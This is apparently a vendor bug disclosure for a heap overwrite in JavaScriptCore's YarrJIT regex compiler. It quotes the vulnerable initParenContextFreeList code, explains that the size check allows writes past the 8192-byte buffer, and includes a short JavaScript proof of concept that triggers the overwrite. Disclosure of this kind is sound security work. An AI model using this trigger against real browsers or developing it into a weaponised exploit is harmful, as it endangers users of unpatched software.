JSC YarrJIT initParenContextFreeList Byte Overwrite

`JSC: YarrJIT: A bug in initParenContextFreeList   
  
  
  
void initParenContextFreeList()  
{  
RegisterID parenContextPointer = regT0;  
RegisterID nextParenContextPointer = regT2;  
  
size_t parenContextSize = ParenContext::sizeFor(m_parenContextSizes);  
  
parenContextSize = WTF::roundUpToMultipleOf<sizeof(uintptr_t)>(parenContextSize);  
  
// Check that the paren context is a reasonable size.  
if (parenContextSize > INT16_MAX)  
m_abortExecution.append(jump());  
  
Jump emptyFreeList = branchTestPtr(Zero, freelistRegister);  
move(freelistRegister, parenContextPointer);  
addPtr(TrustedImm32(parenContextSize), freelistRegister, nextParenContextPointer);  
addPtr(freelistRegister, freelistSizeRegister);  
subPtr(TrustedImm32(parenContextSize), freelistSizeRegister);  
  
Label loopTop(this);  
Jump initDone = branchPtr(Above, nextParenContextPointer, freelistSizeRegister);  
storePtr(nextParenContextPointer, Address(parenContextPointer, ParenContext::nextOffset()));  
move(nextParenContextPointer, parenContextPointer);  
addPtr(TrustedImm32(parenContextSize), parenContextPointer, nextParenContextPointer);  
jump(loopTop);  
  
initDone.link(this);  
storePtr(TrustedImmPtr(nullptr), Address(parenContextPointer, ParenContext::nextOffset()));  
emptyFreeList.link(this);  
}  
  
class PatternContextBufferHolder {  
public:  
PatternContextBufferHolder(VM& vm, bool needBuffer)  
: m_vm(vm)  
, m_needBuffer(needBuffer)  
{  
if (m_needBuffer) {  
m_buffer = m_vm.acquireRegExpPatternContexBuffer();  
m_size = VM::patternContextBufferSize;  
} else {  
m_buffer = nullptr;  
m_size = 0;  
}  
}  
  
  
The method initParenContextFreeList tries to ensure that the size of the paren context doesn't get above INT16_MAX. This implies that the size of the buffer is equal to INT16_MAX. But the actual size is VM::patternContextBufferSize (8192) which is lower than that. So up to 24575 (INT16_MAX - 8192) bytes can be overwritten.  
  
PoC:  
let s = '';  
for (let i = 0; i < 1000; i++) {  
s += '(?:a){0,2}';  
}  
  
let r = new RegExp(s);  
for (let i = 0; i < 1000; i++)  
''.match(r);  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
Found by: [email protected]  
  
`